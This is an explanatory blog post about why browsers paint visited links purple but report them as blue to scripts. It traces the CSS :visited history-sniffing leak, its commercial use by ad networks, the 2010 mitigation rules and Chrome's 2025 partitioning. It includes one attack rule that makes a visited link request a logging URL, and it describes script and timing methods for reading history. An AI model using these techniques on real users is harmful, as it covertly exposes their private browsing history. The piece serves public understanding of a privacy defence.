← back

The colour purple

There are two links under this, click the first. A tab will open, a page will say hello, close it, come back here.

the script is told the first link is
matches(':visited') on the first link
and the second link
Even after you've visited the first link, the card reports the same rgb colour for both.

The link is purple now. You’ve been there, your browser remembers, purple. Fine. Normal. You’ve seen ten thousand purple links in your life.

The card under it is a bit of JavaScript asking your browser a simple question, through a function called getComputedStyle: what colour is that link? And the browser, which is at this very moment painting the link purple, right there where you and the script can both see it, says: blue. Ask it whether the link is visited and it says no.

It is lying. Not a bug, not a cache, not a browser being lazy. Every browser you can name does this, on purpose, and has done it for fifteen years. There is a document that tells them to. Somewhere inside Chrome and Firefox and Safari is code whose entire job is to paint one thing and report another, and it does that job every time you load a page with a link on it, which is every page.

When I found this out I had two reactions in quick succession. The first was “that can’t be right.” The second, about four minutes later, was “oh no, of course.”

The four minutes, stretched out, go like this: why links are purple, what a purple link accidentally tells the world about you, the companies that got caught listening, the very strange rules that were invented to make it stop, and the thing that changed in 2025 that means the lie might finally get to end.

Let’s start with the thing you already know.

A link is blue. You click it. Later, it’s purple. You have known this for so long that it isn’t even knowledge anymore, it’s just how the world is, like water being wet. But somebody decided it, and on a specific day, and we know the day.

Before that day, links had no colour at all. The very first browser, the one Tim Berners-Lee wrote on a NeXT computer in 1990, was black and white. Links were underlined, and that was it. We know this because a designer at Mozilla, Elise Blanchard, went digging through old screenshots in 2021 to answer exactly this question.1 Then in April 1993, a browser called Mosaic (the first one that made the web feel like something you could look at rather than read, and the one that basically caused the nineties) shipped version 0.13, and buried in its changelog is this sentence:

Changed default anchor representations: blue and single solid underline for unvisited, dark purple and single dashed underline for visited.

That’s it. That’s the whole birth certificate of the blue link and the purple link. One line, no reasoning, no design document. People have since gone looking for the reasoning, and the popular theory is that blue was chosen for contrast, which is a nice theory until you measure it, because black text next to that blue has a contrast ratio of about 2.3 to 1, which is bad, worse than most things you’d pick on purpose. Blanchard measured it, and her honest answer to “why blue” is that nobody knows.2 Somebody at NCSA liked blue, probably, and didn’t think it was worth a sentence.

Every browser since has kept it. If you write a link today with no styling at all, the HTML standard tells the browser exactly what to do: #0000EE before you click, #551A8B after. Thirty years of browsers, and the two hex codes are still in the spec, still the default, still the thing you get when you forget to style a link and your designer sighs.

So that’s the what. Now the how.

Think about what a browser has to know in order to paint a link purple. It has to know whether you’ve been to the page the link points at. How could it possibly know that?

It knows because it keeps a list.

You know this list. It’s your history. Every page you’ve ever loaded, written down, keyed by the page’s address. And the browser doesn’t only use that list when you press Ctrl+H and scroll through your week in shame. It uses it constantly, quietly, every time it draws a page. When it’s laying out a page and it reaches a link, it takes the link’s address and looks it up in the list. Is this address in here? Yes: paint it purple. No: paint it blue. Next link.

Simple enough, right?

I’m going to call it the List, with a capital L, because it’s about to become a character in this story and it deserves a name.

The whole mechanism as one drawing:

a page

the List
news.example/today
bank.example/login
docs.example/css
shop.example/cart
The browser reaches a link, takes its address, and asks its history one question: is this address in here? The answer comes back as a style. That's the whole mechanism, and everything else in this post happens on that one arrow.

Two things about that drawing are going to matter enormously later, so I’ll point at them now and you can nod and move on.

First: the lookup happens once per link, by exact address. Ten links, ten lookups. Ten thousand links, ten thousand lookups. The browser doesn’t mind. Looking things up in a list is what computers are for.

Second: the answer comes back as a style. Purple isn’t a special secret colour that the browser applies in some hidden way. It’s a CSS rule, a:visited, and it works like every other CSS rule you’ve ever written. You can change it. You can make visited links green, or bold, or forty pixels tall, or whatever you want. It’s just CSS.

And CSS is something a page’s own JavaScript can read.

Hold that thought. Don’t do anything with it yet. Just hold it.

Now go back to April 1993 for a second, and picture the world that purple links were born into. The web is a few hundred sites. A visited link is a courtesy, a little “you’ve been here already” so you don’t waste your time. Nobody is thinking about whether a page could learn where you’ve been, because a page can’t do anything. It can’t run code. JavaScript doesn’t exist yet and won’t for two more years. A web page in 1993 is a document, in the way a piece of paper is a document, and a piece of paper cannot look at you.

So the purple link was designed in a world with no scripts in it, and it carried a small piece of your history into a world that was about to be full of them.

It took nine years for someone to write down what that meant.

The question nobody asked for nine years

On the 20th of February 2002, a developer named Andrew Clover posted a message to Bugtraq, which was the mailing list where security people went to tell each other bad news. The subject line was “CSS visited pages disclosure”. It is short, it is polite, and it is one of the more consequential emails ever sent about a colour.

Let’s build what he found, from the two things you’re holding.

You’re a web page. You want to know whether the person reading you has been to, say, their bank. You can’t ask. You can’t read their history; the browser would never give you the List. But you don’t need the List. You need one entry from it, and you already have a machine that checks one entry at a time and reports the answer as a colour.

So you write a link to the bank. You don’t even have to show it. You style it so that a visited link looks different from an unvisited one, which you’re allowed to do, because it’s just CSS. And then you ask your own JavaScript what colour your own link ended up. Blue: they’ve never been. Purple: they have.

That’s one question answered. Now write ten thousand links.

A bank. Another bank. A clinic. A different clinic. A union. A competitor. A dating site. A site for people who think they might be pregnant. A site for people who think they might be gay. Every newspaper. Every political party. The browser walks down the page doing exactly what it was built to do in 1993, looking up each address in the List and painting the answer, and your script walks behind it writing the answers down. Ten thousand yes-or-no questions about a stranger’s life, answered by the stranger’s own browser, in about the time it takes the page to load, and the stranger sees nothing, because you made the links one pixel tall and the same colour as the background.

I’m going to call this page the Sniffer. It gets a capital letter too, because it’s the other main character, and because “history sniffing” is what everyone ended up calling the trick.

The Sniffer as a drawing:

the Sniffer's page
10,000 links you can't see
what it learned
bankyes
clinicyes
unionno
rivalno
datingno
partyno
pharmacyno
lawyerno
Ten thousand links, one pixel tall, the same colour as the background. The browser looks each one up in the List and paints the answer. The script reads the paint. Yes or no, ten thousand times, in the time it takes the page to load.

Clover described two ways for the Sniffer to read the answer, and the second one is the one that made me put my coffee down.

The first is the one I just described: ask for the computed style. In Internet Explorer at the time, every element had a currentStyle object you could read; every browser since has getComputedStyle, which does the same job. Script reads colour, colour is the answer. Fine.

The second way doesn’t need a script at all. CSS can set a background image on a link, and a background image is a URL, and the browser fetches that URL when it needs the image. So:

#bank:visited { background: url(/seen.cgi?site=bank); }

If the reader has been to the bank, the browser applies the visited style, needs the background image, and requests /seen.cgi?site=bank from your server, which writes down “bank: yes.” If they haven’t, the style never applies and no request is made. No JavaScript. No script to block. The browser itself phones home, once per visited site, as a side effect of deciding what colour to paint a link. That’s the whole attack in one line of CSS.

He noted that Internet Explorer and Mozilla, which between them were nearly everyone in 2002, were both open to it.

And then, in the same email, he proposed a fix. He suggested that a browser could “make ‘visited’ links only look ‘visited’ when they point to documents in the same domain as the current page.” Your bank’s own pages could show you where you’d been on your bank. A stranger’s page could not. He wasn’t sure it was right. He ended the message with a question: “Can anyone think of a better approach?”

It took the browsers twenty-three years to answer him, and the answer, when it finally came, was his.

You might think, at this point, that a post to a security mailing list in 2002 would have been enough. Someone finds a hole, someone files a bug, the hole gets closed. That is what happened, in the sense that a bug was filed. A Mozilla engineer named David Baron opened one three months later, in May 2002, with the title “:visited support allows queries into global history.”

It stayed open for the best part of a decade.

Not because nobody cared, but because every fix anybody could think of broke something else, and the something else was the purple link itself, which by then was a decade of habit for hundreds of millions of people. You’ll see the fix they eventually found in a moment, and why it took the form of a lie. But first, the part of the story I found hardest to believe, which is that while the bug sat open, the Sniffer went into business.

It wasn’t theory

For eight years, the Sniffer was a thing security people knew about. A demo at a conference, a paragraph in a textbook, a bug that would get fixed one day. Everybody assumed nobody was actually doing it, in the way everybody assumes nobody is actually reading the terms and conditions.

Then in 2010 four researchers at UC San Diego decided to check.

Dongseok Jang, Ranjit Jhala, Sorin Lerner and Hovav Shacham built a modified browser that could watch what a page’s JavaScript did with the answers it got, and they pointed it at the fifty thousand most popular sites on the web. Not a sample. All fifty thousand, the whole Alexa list as of the first of February that year.

What they found, in their own numbers. Four hundred and eighty-five of those sites inspected the style of links in a way that could only be for reading history. Sixty-three of them were caught sending what they’d read back to a server. Forty-six were confirmed, beyond doubt, to be doing it on purpose. One of the forty-six was in the top hundred sites on the internet.

It was YouPorn. Number 61 in the world. Its own code, not an ad’s, with the list of sites it was checking stored in scrambled form and unscrambled just before use, which is not something you do by accident.

And then the detail that turns this from a story about one embarrassing website into a story about an industry: of the forty-six confirmed sniffers, twenty-two of them were running the same code, and it came from an advertising company called interclick. Fourteen more were running code from another company, called meaningtool. The Sniffer wasn’t a trick that a few clever site owners had built themselves. It was a product. Someone had written it once, nicely, and was selling it to publishers as a service, and the publishers were pasting it in next to their analytics tag.

Let me say what that means in plain words, because the paper doesn’t. Advertising companies had noticed that a browser will tell you where a person has been, if you ask it in colour, and they’d turned that into a way of measuring people. Not a way of counting visits. A way of building a picture of a specific stranger, question by question, from a list they chose.

This is where it stops being cute.

In December 2012 the Federal Trade Commission announced a settlement with an advertising network called Epic Marketplace. Epic ran ads on 45,000 websites. According to the FTC’s complaint, its code checked visitors against a list of more than 54,000 domains, and the list was not random. The FTC named some of the categories. Fertility. Impotence. Menopause. Incontinence. Disability insurance. Credit repair. Debt relief. Personal bankruptcy.

Read that list again and picture the person on the other end of it. Someone opens a recipe site, or a news site, or a site about anything at all, and an ad on that page quietly asks their browser: has this person been looking at fertility clinics? Has this person been looking at bankruptcy lawyers? And the browser, which was built in 1993 to be helpful about which links you’d already read, answers. Yes. Yes. No. Yes. And the answers went into a profile, and the profile decided which ads that person saw next.

The settlement banned Epic from doing it again and made them destroy what they’d gathered. Nobody paid a fine. The order came with a threat of sixteen thousand dollars per violation if they did it again, which is the sort of number that sounds like a lot until you think about how many violations 45,000 websites can produce in an afternoon.

It would be easy to make this sound like a story about villains, and I don’t think that’s the useful version. Interclick and Epic weren’t doing something the browser had forbidden. They were doing something the browser had made possible, in the most ordinary way, with a feature that had been there for seventeen years and a CSS rule any teenager could write. The thing they were caught doing was, technically, reading a colour. If you build a machine that answers ten thousand private questions in the time it takes to load a page, and you make it free, and you leave it running for a decade, someone will eventually plug it into a business. That’s not a moral about advertisers. It’s a fact about machines.

So by 2010 everyone agreed. The purple link had to stop talking. Now the fix, and why the fix is a lie.

The fix that lies

Let’s think about this the way the browser engineers had to, because the obvious fixes are all wrong, and seeing why they’re wrong is the only way the real fix makes sense.

Obvious fix number one: stop painting visited links. No purple, no leak. Firefox offered this, as a preference you could flip if you wanted the protection, and Baron’s design mentions it almost in passing, the way you mention a fire exit. The purple link is, for a lot of people, the way they read the web. Search results, forums, documentation, a long list of anything: purple is how you know which ones you’ve done. Taking it away from everyone to close a hole most people had never heard of was never going to happen.

Obvious fix number two: keep the purple, but stop scripts from reading it. Make getComputedStyle refuse to answer for links. This sounds right and is wrong, because reading the colour was only one of the Sniffer’s two tricks. The other one, the background image, doesn’t read anything. It lets the browser do what the visited style says, and what the visited style says is “go and fetch this URL”. You can’t stop that by blocking a function. You’d have to stop visited links from being able to do anything, which is a different and much bigger idea.

And it’s the idea. Here’s where the real fix came from.

In March 2010 David Baron, the Mozilla engineer who’d filed that bug back in 2002, published a design for closing it. The thinking behind it is worth walking through slowly, because it’s one of those pieces of engineering where every rule is exactly as strange as it has to be and no stranger.

Start from the goal. A visited link must still look different to a person, and must be indistinguishable from an unvisited link to a script. Those two requirements are in direct conflict, because a person sees the page through the same rendering the script can inspect. So the trick is to cut the connection between what’s painted and what’s reported, and to do it narrowly enough that the purple still gets through.

Rule one: a visited link may only differ in colour. Only. Not size. Not position. Not whether it’s visible, not its font, not its spacing, not its border width, not its background image. Only the colours: the text, the background, the border, the outline, and a few others in the same family. Why? Because anything that changes the geometry of the page can be measured without asking about colour at all. If visited links were one pixel wider, a script could measure the page’s width. If they were hidden, a script could count what’s visible. Colour is the one thing that changes nothing about the shape of anything, so colour is the one thing that’s allowed.

Rule two: a visited colour may not change its transparency. You can make a visited link purple, but you can’t make it half-transparent purple, because the browser blends transparent things with whatever’s behind them, and blending is arithmetic, and arithmetic leaks. So the browser takes the transparency from the unvisited style and keeps only the hue from the visited one. This rule has a wonderful side effect that I’ll show you in a second.

Rule three: no rule for visited links may load anything. No background image, no anything that turns into a request. That’s the one that kills Clover’s one-liner.

Rule four: every way of asking is answered as if the link were unvisited. getComputedStyle says blue. matches(':visited') says no. querySelector('a:visited') finds nothing. The page paints the truth and reports the lie, and it reports the same lie to everyone, so that a script can’t tell a link that’s been visited from one that hasn’t. Baron’s design document puts it flatly: browsers “clearly need to make getComputedStyle lie when links have been visited.”

The rules as something you can push on. Every button below applies one style to :visited on the link you visited earlier. Your eyes report what got painted. The card reports what the script was told:

a style on :visited, and what the script is toldcolour
the script is told the colour is
and the size and opacity
matches(':visited')
Pick a rule. The link on the left is the one you visited at the top of the post; the browser paints it by the rules, and the card reports what the script sees, which never changes.

Try the font size. Nothing. Try opacity, or display none, which should make the link vanish. Nothing; it sits exactly where it was. Try the border colour: that one works, because it’s a colour. Try a half-transparent colour: the link changes hue, but paints fully solid, because the transparency came from the unvisited style. And now try the yellow background, which is on the allowed list. Still nothing. Then try the last one, the same yellow on a version of the link that already has a solid grey background. Yellow.

That last pair is my favourite thing in this whole post. The rule says background colour is allowed to change. But the rule also says transparency can’t change. The unvisited link has no background, which the browser stores as a background that’s fully transparent. So the visited yellow inherits that transparency, becomes fully transparent yellow, which is nothing, and you see nothing. Give the link a solid background first and the yellow shows up, because now there’s an opacity of “solid” for it to inherit. The browser isn’t refusing to paint yellow. It’s painting yellow with exactly the see-throughness of the thing it replaced, which happens to be one hundred percent. That’s not a bug. That’s the rule, working perfectly, in a way nobody who wrote the rule would have bothered to explain.

Now the part I got wrong the first time I told this story.

I assumed Mozilla shipped this, because Mozilla designed it. They didn’t, not first. A month after Baron’s design went up, on the 8th of April 2010, Dave Hyatt at Apple landed it in WebKit, and his commit message credits Baron’s document by name. Safari 5 shipped it that June. Firefox got it in Firefox 4, in March 2011, nearly a year after Apple. Chrome, which was built on WebKit at the time, inherited it along the way. So the fix was designed in one company, shipped first by its competitor, and became universal within a year, which is a story about how browsers actually worked in 2010 that I find a little bit moving.

By the end of 2011, then, every browser was lying about purple, in the same way, on purpose. The bug David Baron opened in 2002 was closed. The Sniffer, at least the version Clover described, was dead.

You know what’s coming.

The arms race

The lie closed the front door. The Sniffer, being a machine and not a person, did not take this personally. It went round the back.

If a visited link can’t be a different size, and can’t load anything, and can’t be asked about, what’s left? What’s left is that it’s still painted differently, and painting takes time, and time can be measured. Over the next decade, researchers kept finding ways to make the browser reveal a visited link by how long it took to draw one. In 2013 Paul Stone, a security consultant, showed at Black Hat that you could stack links, apply a filter that’s expensive to paint, and time the frame with requestAnimationFrame. In 2018, when browsers added a way for pages to run their own painting code, a group at UC San Diego (the same university, eight years on) found that Chrome would run it for the visited colour, and that this leaked history at three thousand URLs a second. Chrome’s fix for that one was to switch the new painting feature off on links entirely. Each of these got patched. Each patch was narrower than the last, and each leak was smaller than the last, and nobody ever got to say “done”.

The people who write the CSS specification eventually said this out loud. The current draft of the selectors standard describes the 2010 approach, all the rules you just pushed on, in a single sentence that ends with “but is not perfect”, and then in an appendix it gives up the pretence entirely: “This is ultimately an arms race that can’t be won.”

That’s the spec. The document that tells browsers to lie about purple also says the lie can’t hold.

So what would? Go back to the email from 2002. Clover’s suggestion, the one he wasn’t sure about, was that a link should only look visited on a site where you’d visited it. Your bank can show you where you’ve been on your bank. A stranger’s page can’t see any of it, because on the stranger’s page, you haven’t been anywhere.

In April 2025, Chrome shipped exactly that. The Chrome team calls it partitioning. Instead of keeping one List of every address you’ve ever loaded, Chrome now keeps a List of where you clicked from. A visited link is stored as three things together: the address of the link, the site whose page you clicked it on, and the frame it was in. The link is painted purple only if all three match. Click a link to your bank from your bank’s own page and it turns purple there, and only there. The same link on a stranger’s page has never been clicked on the stranger’s page, so on the stranger’s page it’s blue, and there’s nothing for a Sniffer to sniff, no matter how cleverly it measures. The Sniffer can only learn about clicks that happened on its own pages, which it already knew.

You can see this on disk, if you’re on Chrome. The history database in your profile now has a table for it:

sqlite> .schema visited_links
CREATE TABLE visited_links(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  link_url_id INTEGER NOT NULL,
  top_level_url LONGVARCHAR NOT NULL,
  frame_url LONGVARCHAR NOT NULL,
  visit_count INTEGER DEFAULT 0 NOT NULL
)
sqlite> select * from visited_links;
1|2|http://127.0.0.1:6978/test.html|http://127.0.0.1:6978/|1

That’s a fresh Chrome profile on my machine after one click on a test page: the link that was clicked, the page it was clicked on, the frame it was in, one visit.

One click, one row, three keys. That row is the twenty-three year answer to “can anyone think of a better approach?”, and the approach is the one the question came with.

Two caveats, because I’d rather you had them from me. First, only Chrome does this so far. Firefox has said it wants to and has a bug open about it that dates from 2017; Safari hasn’t taken a position. Second, and this is the part I find funny: Chrome still lies. Partitioning made the lie unnecessary, since a Sniffer can’t learn anything from a colour that only ever reflects its own pages. But the 2010 rules are still in place, and getComputedStyle still says blue. I checked, on the newest Chrome I could find, and it still says blue. Fifteen years of a lie that nobody has yet felt safe enough to stop telling.

That’s changing too. In May 2025 a Chromium engineer proposed to the other browser makers that the lie should end, that getComputedStyle should be allowed to return the real colour now that partitioning makes it harmless, because keeping the lie going “causes significant complexity” for the people who maintain it. Mozilla’s answer was one line, and it was yes: “Removing visited weirdness is always nice.” Apple hasn’t answered. So the honest state of things, as I write this, is that the lie is still being told, in every browser, by code that everyone who works on it would like to delete, and one day soon you’ll open the console, ask a purple link what colour it is, and for the first time in fifteen years it will tell you.

Let’s put the machinery down.

You started by clicking a link, and the link turned purple, and a card told you your browser was lying about it. You now know why. But the lie is the smaller thing. What it stands in for is bigger.

Every browser you use is sitting in the middle of a fight. On one side is you, and the things you do, and the reasonable wish that those things stay yours. On the other side is everyone who would like to know what you do, which turns out to include a lot of ordinary businesses that would never think of themselves as spies, and who mostly want to know whether to show you the ad for the pram or the ad for the lawyer. In the middle is the browser, which has to serve both, because a browser that shows you nothing is useless and a browser that tells everyone everything is a different kind of useless.

The purple link is the smallest possible version of that fight, and it has been going on for the entire life of the web. It started as a courtesy in 1993. It became a leak in 2002, a product by 2010, a lie in every browser by 2011, a federal settlement in 2012, an arms race the spec admits it can’t win, and then, in 2025, twenty-three years late, the answer that had been sitting in the original email all along. That whole history fits in one pixel, and you can watch it happen, right now, by clicking a link and asking your browser what colour it is.

The browser lies to you on purpose. That’s true, and it’s also the least of it. It lies to your JavaScript so that it can tell the truth to your eyes. It will keep lying until the day the lie isn’t needed, which is closer than you’d think, and on that day the purple link will go back to being what it was in April 1993: a colour, and nothing else.

So this is what I want you to take from this, and then I’ll let you go. The next time a browser does something that looks stupid, or slow, or inconsistent, there’s a decent chance that you’re looking at the visible edge of a fight like this one. Something was leaking, someone found it, someone fixed it in the narrowest way that didn’t break the web, and the fix is the odd shape you’re now stubbing your toe on. The browser isn’t being stupid. It’s lying to someone, carefully, on your behalf.

Purple is what that looks like.

Footnotes

  1. Her piece says 1987 in one place for that first browser. It was 1990. I mention it only because I’m about to spend several thousand words on people getting small things wrong, and it seemed fair.

  2. Her exact words: “No one knows, but I have some theories.” The changelog line is quoted from the same piece; the Mosaic 0.13 release was 12 April 1993.